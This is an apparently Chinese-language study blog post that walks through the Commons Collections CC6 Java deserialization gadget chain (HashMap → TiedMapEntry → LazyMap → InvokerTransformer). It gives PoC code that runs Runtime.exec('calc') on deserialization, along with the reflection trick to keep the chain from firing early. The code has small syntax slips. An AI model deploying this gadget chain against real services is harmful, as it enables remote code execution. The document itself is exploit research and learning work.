最常用的一条CC链
不看JDK版本
其实就是CC1换了个走向,结合了URLDNS

先看一下走向
前半条有点陌生,从后半条开始
后半条完全就是LazyMap
从后半条走起

如果是CC1 LazyMap链,到这里,就可以利用AnnotationInvocationHandler(破名字够长的)
去搞动态代理调用invoke(invoke里面调用了get)然后readObject了
但是CC6不一样
走到这里,开始找get
在TiedMapEntry类里找到了它的getValue()方法里调用了get(别问咋找的)
public Object getValue() {
return map.get(key); //此处get如果是LazyMap,就可以完成链子
}
往上找哪里调用getValue()
也是这个类,hashCode调用了getValue()
hashCode,很眼熟的方法
在URLDNS里面就有
从最初的那张图,结合hashCode,推测一下起点
很明显就是HashMap作为起点了

HashMap里面有个readObject
最后面触发了一个

看一下hash函数

有一个key.hashCode
调用了键的hashCode
如果有个重写了hashCode,并且hashCode能够调用危险方法的类
就能够闭环了
刚才也看到了,TiedMapEntry,重写hashCode,里面有个getValue,getvalue能够调用get
写Poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC6{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);//拿到LazyMap
TiedMapEntry tm = new TiedMapEntry(lazyMap,"123456")//第二个参数这里用不上,不管,随便给个值
HashMap<Object,Object> hm = new HashMap();
hm.put(tm,"123456")
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
看起来是弹了,但其实不是反序列化弹的

注释掉了照样执行,为什么
HashCode的readObject有个putval
刚好,HashMap对象的put方法,实际上就是调用putval

所以其实链在这里就提前触发了
如何修复?
链能触发,是因为最核心的那里走通了
先让它在put时走不通,put完之后再反射改通即可
最重要的就是调用了TiedMapEntry的重写hashcode
然后重写hashcode里面又触发getvalue,getvalue里面触发get
get之所以能够触发rce,是因为传入了LazyMap,LazyMap里面有
Object value = factory.transform(key);factory在构造方法中,允许
Transformer类型的任意对象传入
那也就是说,核心是factory
先传一个正常的factory,然后put完之后就拿反射改成恶意factory

用到ConstantTransformer,永远返回一个常量

put完之后反射改成恶意factory
现在应该可以了

我***

参考infer师傅的博客,找到了原因和解决办法

这里的if判断,首先判断的是,LazyMap构造方法中传入的map,是否存在对应的key,比如get(abc),if就检查map里面有没有叫做abc的键
如果是false就进入

我们传的是一个空map
当然没有值
看一下key指向谁

打个断点,发现是1234

由TiedMapEntry传入

关键在这
TiedMapEntry传入的第二个参数叫做作为key属性
被getValue触发map.get(key)
key走到了LazyMap,作为参数被其get调用

然后因为我们传给LazyMap的是一个空map
自然进入if
然后被put了值
value=12344321(ConstantTransformer永远返回常量)
key=1234
导致恶意类进不去
手动把它清空
让恶意类进去即可完成调用
看不懂的师傅看这里,我整明白了

POC触发了两次hashcode,一次是hm.put,我们主动写的,要把TiedMapEntry对象put到HashMap里
并且为了避免LazyMap直接提前触发rce,我们改成了Constantransformer
准备put完之后反射改为ChainedTransformer
经过一次put,此时,LazyMap对象里面已经有值了
这个时候开始反序列化,readObject被调用
再次触发put
此时put不进去,因为LazyMap有值,不会进入if,而是直接return!
评论(0)
暂无评论